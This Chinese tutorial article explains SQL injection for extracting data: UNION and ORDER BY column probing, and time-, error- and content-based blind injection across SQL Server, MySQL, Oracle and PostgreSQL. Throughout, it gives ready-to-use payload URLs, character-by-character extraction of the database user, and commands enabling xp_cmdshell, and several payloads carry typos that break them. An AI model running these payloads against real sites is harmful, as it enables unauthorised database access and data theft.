SQL 注入提取数据方法小结
作者:香甜可口草莓蛋糕
一、使用 UNION 语句提取数据
在 SQL 注入攻击中,UNION 运算符的潜在价值非常明显:如果应用程序返回了第一个(原始)查询得到的所有数据,那么通过在第一个查询后面注入一个 UNION 运算符,并添加另外一个任意查询,便可以读取到数据库用户访问过的任何一张表。
1.1 匹配列
要想 UNION 操作符正确工作,需满足下列要求:
1. 两个查询返回的列数必须相同。
2. 两个 SELECT 语句对应列所返回的数据类型必须相同(或至少是兼容的)。
如果无法满足上述两个约束条件,查询便会失败并返回一个错误。
当然,具体是什么错误消息则取决于后台所使用的数据库服务器技术。
此列出了当 UNION 查询包含错误的列数时一些主流数据库服务器返回的错误消息。
数据库 | 返回错误消息 |
Micrsoft SQL Server | All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists |
MySQL | The used SELECT statements have a different number of columns |
Oracle | ORA-01789:query block has incorrect number of result columns |
Postgre SQL | ERROR: Each UNION query must have the same number of columns |
错误消息中并未提供任何与所需要列数相关的线索,因而要想得到正确的列数,唯一的方法就是反复试验。
第一种方法是将第二条查询注入多次,每次逐渐增大列数直到查询正确执行。
假设有一个简单的Web应用程序,它接受一个用户ID作为输入,并从数据库中检索该用户的信息。该应用程序的SQL查询可能如下所示:
SELECT * FROM users WHERE id = '$userId';
这里的$userId
是从用户输入中获取的变量。如果应用程序没有对用户输入进行适当的验证和转义,攻击者就可以构造恶意的输入来执行SQL注入攻击。
例如,攻击者可以输入以下值作为用户ID:
' UNION SELECT column1, column2, ... FROM another_table --
这将导致原始的SQL查询变成:
SELECT * FROM users WHERE id = '1' UNION SELECT column1, column2, ... FROM another_table --';
在这里,攻击者使用了单引号来闭合原始的id
值,并添加了UNION SELECT
语句来从另一个表(another_table
)中选择数据。--
是一个SQL注释,用于忽略原始查询中的剩余部分。
获取准确列数的另一种方法是使用ORDERBY子句而非注入另外一个查询。
ORDERBY子句既可以接收一个列名作为参数,也可以接收一个简单的、能标识特定列的数字。
可以通过增大 ORDER BY 子句中代表列的数字来识别查询中的列数,假设有一个目标URL:
//www.jb51.net/vuln.php?id=1
注入点位于id参数处,我们可以尝试使用order by语句来确定查询结果的列数。
在id参数后面加上order by子句,并逐渐增加列数,直到出现错误或注入成功为止。例如:
//www.jb51.net/vuln.php?id=1 order by 1:// 如果页面正常加载,说明查询结果至少有1列。 //www.jb51.net/vuln.php?id=1 order by 2:// 如果页面正常加载,说明查询结果至少有2列。 //www.jb51.net/vuln.php?id=1 order by 3:// 如果页面正常加载,说明查询结果至少有3列。 // ……以此类推。
1.2 匹配数据类型
识别出准确的列数后,现在是时候选择其中的一列或几列来查看一下是否是正在寻找的数据了。
前面提到过,对应列的数据类型必须是相互兼容的。
因此,如果想提取一个字符串值(例如,当前的数据库用户),那么至少需要找到一个数据类型为字符串的列以便通过它来存储正在寻找的数据。
使用NULL来实现会很容易,只需一次一列地使用示例字符串替换NULL即可。
例如,如果发现原始查询包含4列,那么应尝试下列 URL:
//www.jb51.net/products.asp?id=12+union+select+'test',NULL,NULL,NULL //www.jb51.net/products.asp?id=12+union+select+NULL,'test',NULL,NULL //www.jb51.net/products.asp?id=12+union+select+NULL,NULL,'test',NULL //www.jb51.net/products.asp?id=12+union+select+NULL,NULL,NULL,'test',
对于无法使用 NULL 的数据库只能暴力猜测了。
只要应用程序不返回错误,即可知道刚才存储test值的列可以保存一个字符串,因而可用它来显示需要的值。
例如,如果第二列能够保存一个字符串字段(假设想获取当前用户的名称),只需请求下列 URL:
//www.jb51.net/products.asp?id=12+union+select+NULL,system_user,NULL,NULL
如果类型不同也可以尝试转换类型,此表给出了不同数据库中将任意数据类型转换为字符串的语法
数据库 | 查询 |
Micrsoft SQL Server | SELECT CAST('123' AS varchar) |
MySQL | SELECT CAST('123' AS char) |
Oracle | SELECT CAST(1 AS varchar) FROM dual |
Postgre SQL | SELECT CAST(123 AS text) |
请注意这取决于你所提取数据的结构,并非总是需要进行类型转换。
例如,PostgreSQL允许非字符串变量使用连接字符串(||),只要有一个变量的值是字符串即可。
二、使用条件语句
我们先看一下相同的基本条件语句在此表中列出的不同数据库服务器技术间语法上的转换过程
数据库 | 查询 |
Micrsoft SQL Server | IF ('a'='a') SELECT 1 ELSE SELECT 2 |
MySQL | SELECT IF('a',1,2) |
Oracle | SELECT CASE WHEN 'a'='a' THEN 1 ELSE 2 END FROM DUAL SELECT decode(substr(user,1,1),'A',1,2)FROM DUAL |
Postgre SQL | SELECT CASE WHEN (1=1) THEN 'a' else 'b' END |
2.1 方法一:基于时间
2.1.1 Micrsoft SQL Server
使用条件语句利用 SQL注入时,第一种可行的方法是基于 Web 应用响应时间上的差异,该时间取决于某些信息的值。
例如,对于SOLServer 而言,您最先想了解的信息是执行查询的用户是否为系统管理员账户(sa)。
很明显,这一点很重要,因为权限不同,在远程数据库上能执行的操作也会有所不同。
因此,可以注入下列查询::
IF (system_user='sa') WAITFOR DELAY '0:0:5' --
该查询将转换为下列 URL:
//www.jb51.netm/products.asp?id=12;if+(system_user='sa')+WAITFOR+ DELAY+'0:0:5'--
上述请求执行了哪些操作呢?system_user 只是一个 Transact-SQL(T-SQL) 函数,它返回当前登录的用户名(例如 sa)。
该査询根据 system user的值来决定是否执行 WAITFOR (等待5秒)。
通过测试应用返回 HTML页面所花费的时间,可以确定是否为 sa 用户。
查询尾部的两个连字符用于注释掉所有可能出现在原始查询中并会干扰注入代码的无用SQL代码。
当然,只需要通过替换圆括号中的条件您就可以使用该方法来获取数据库中的任何其他信息了。
例如,想知道远程数据库的版本是否为2005?请看下列查询:
IF(substring((select @@version),25,1)=5) WAITFOR DELAY '0:0:5'--
我们首先选择 @@version 内置变量,在 SQLServer 2005 中,它的值类似于下列内容:
Microsoft SQL Server 2005-9.00.3042.00(ntel X86) Feb 92007 22:47:07 Copyright(c)1988-2005 Microsoft Corporation Standard Edition on Windows NT5.2(Build 3790:Service Pack2)
不难发现,该变量包含了数据库版本。要想了解远程数据库是否为SOLServer 2005,只需检查年份的最后一位数字即可,它刚好是@@version 变量所存放字符串的第25个字符。
如果拥有管理员权限,那么可以使用xpcdshell 扩展存储过程来产生延迟,它通过加载条需要花费特定秒数才能完成的命令来得到类似的结果。
在下面的示例中,我们ping回路(loopback)端口5秒钟:
EXEC master..xp_cmdshell 'ping-n5 127.0.0.1'
如果具有管理员访问权限,但没有启用xpcmdshell,那么在SOLServer 2005和2008中可以使用下面的命令轻松地启用它:
EXEC sp_configure 'show advanced options', 1; GO RECONFIGURE; EXEC sp_configure 'xp cmdshell', 1;
2.1.2 MySQL
例如,对于MySQL,可以使用下列查询创建一个数秒的延迟:
SELECT BENCHMARK(1000000,shal('blah'));
BENCHMARK函数将第二个参数描述的表达式执行由第一个参数指定的次数。
它通常用于测量服务器的性能,但对引入人为延迟也同样很有帮助。
在上述示例中,我们告诉数据库将字符串“blah”的哈希值计算一百万次。
如果使用的是 5.0.12版本以上的 MySQL 数据库,处理起来将更加简单:
SELECT SLEEP(5);
2.1.3 Postgre SQL
如果安装的是PostgreSQL数据库,并且版本在8.2以上,可以使用下面的命令:
SELECT pg_sleep(5);
2.1.4 Oracle
对于 Oracle 而言,可以通过使用 UTL_HTTP 或 HTTPURITYPE 向一个“死的”IP地址发送一个HTTP请求来实现相同的效果(虽然可靠性差一些)。
如果指定了一个不存在侦听者的IP地址,那么下列查询将一直等待连接直到超时:
select utl http.request('http://10.0.0.1/') from dual; select HTTPURITYPE('http://10.0.0.1/').getclob() from dual;
还有一种使用网络计时的方法,就是使用简单的笛卡尔积(Cartesian Product)。
对 4 张表应用 count(*) 比直接返回一个数字花费的时间要长很多。
如果用户名的第一个字符为 A,那么下列查询将首先计算所有行的笛卡尔积,然后返回一个数字:
SELECT decode(substr(user,1,1),'A',(select count(*) from all_objects,all_objects,all_objects,all_objects),0)
2.2 方法二:基于错误
我们还有其他技术可用,该技术根据我们寻找的位值来触发不同的响应。请看下列查询:
//www.jb51.net/products.asp?id=12/is_srvrolemember ('sysadmin')
is srvrolemember()是一个SOLServerT-SQL函数,它返回下列值:
1:用户属于指定的组。
2:用户不属于指定的组。
NULL:指定的组不存在。
如果当前用户不是 sysadmin 组的成员,那么 id 参数的值将为 12/0(很明显不是数字);这将导致查询失败,应用返回一个错误。
该错误还可能是一个使应用失败看起来更雅观的通用HTML页面,但最基本原理是相同的:可以根据指定位值的不同来触发不同的响应并提取位值。
2.3 方法三:基于内容
通常只需对该技术稍作修改就能避免错误的产生。例如:
//www.jb51.net/products.asp?id=12%2B(case+when+(system_user+=+'sa') +then+1+else+0+end)
我们使用%2B替换了参数后面的“/”字符,%2B 是“+”的 URL 编码(我们不能在 URL中直接使用“+”,因为它会被解析成空格)。最终将按照下列式子为id参数赋值:
id=12+(case when (system_user='sa') then 1 else 0 end)
结果非常直观。如果执行查询的用户不是 sa,那么id=12,请求将等价于:
//www.jb51.net/products.asp?id=12
而如果执行查询的用户是 sa,那么id=13,请求将等价于:
//www.jb51.net/products.asp?id=13
该技术像基于错误的技术一样快,另外还有一个优点--不会触发错误,从而使该方法更加简练。
2.4 处理字符串
假设我们的电子商务Web 站点有这样一个功能——它允许用户检索特定品牌生产的所有商品:
//www.jb51.net/search.asp?brand=acme
如果对 brand 参数稍作修改,那么会出现什么情况呢?
使用字母 l 替换掉 m,最终的URL将如下所示:
//www.jb51.net/search.asp?brand=acle
这个 URL 很可能会返回完全不同的结果:可能是一个空结果集,在大多数情况下也可能是其他不同的内容。
不管第二个 URL 返回怎样的结果,只要 brand 参数是可注入的,就可以很容易地使用字符串连接技术来提取数据。
我们一步一步地分析这个过程。很明显,作为参数传递的字符串可以分成两部分:
//www.jb51.net/search.asp?brand=acm'%2B'e
很明显,该查询等价于上一查询,所以最终的HTML页面不会发生变化。我们再进一步分析,将参数分成三个部分:
//www.jb51.net/search.asp?brand=ac'%2B'm'%2B'e
可以使用 char()函数来描述 T-SQL中的 m 字符,char() 函数接收一个数字作为参数并返回与其对应的 ASCII 字符。由于 m 的 ASCII 值为 109(16进制为 0x6D),因此我们可以对 URL 作进一步修改,如下所示:
//www.jb51.net/search.asp?brand=ac'%2Bchar(109)%2B'e
该查询仍然返回与前面查询相同的结果,但现在我们有了一个可操控的数字参数,所以可以很容易复制前面章节介绍的注入技术,提交下列请求:
//www.jb51.net/search.asp?brand=ac'%2Bchar(108%2B(case+when+(sys tem_user='sa')+then+l+else+0+end)%2B'e
根据当前用户是否为sa,char()函数的参数将分别是109或108(对应返回m或1)
2.5 扩展攻击
我们回到前面那个判断执行查询的用户的例子。
我们现在不局限于检查用户是否为sa,而是检索用户完整的名称。
首先要做的是发现用户名的长度。可使用下列查询实现该目的:
select len(system_user)
假设用户名为appdbuser,该查询返回9。要想使用条件语句提取该值,则需要执行二分查找。如果使用前面介绍的基于错误的方法,那么需要发送下列URL:
//www.jb51.net/products.asp?id=10/(case+when+(len(system_user) +>+8)+then+1+else+0+end)
既然知道了用户名的长度,接下来我们需要提取组成用户名的字符。
要完成这个任务,需要循环遍历各个字符。对于其中的每个字符,我们要针对该字符的 ASCII 码值执行二分查找。
在SOLServer中,我们可以使用下列表达式提取指定字符并计算其 ASCII 码值:
ascii(substring((selectsystem_user)1,1))
该表达式检索 system_user 的值,从第一个字符开始提取子串,子串长度刚好为一个字符,并计算其十进制的 ASCII 码值。
到此这篇关于SQL 注入提取数据方法小结的文章就介绍到这了,更多相关SQL 注入提取数据内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!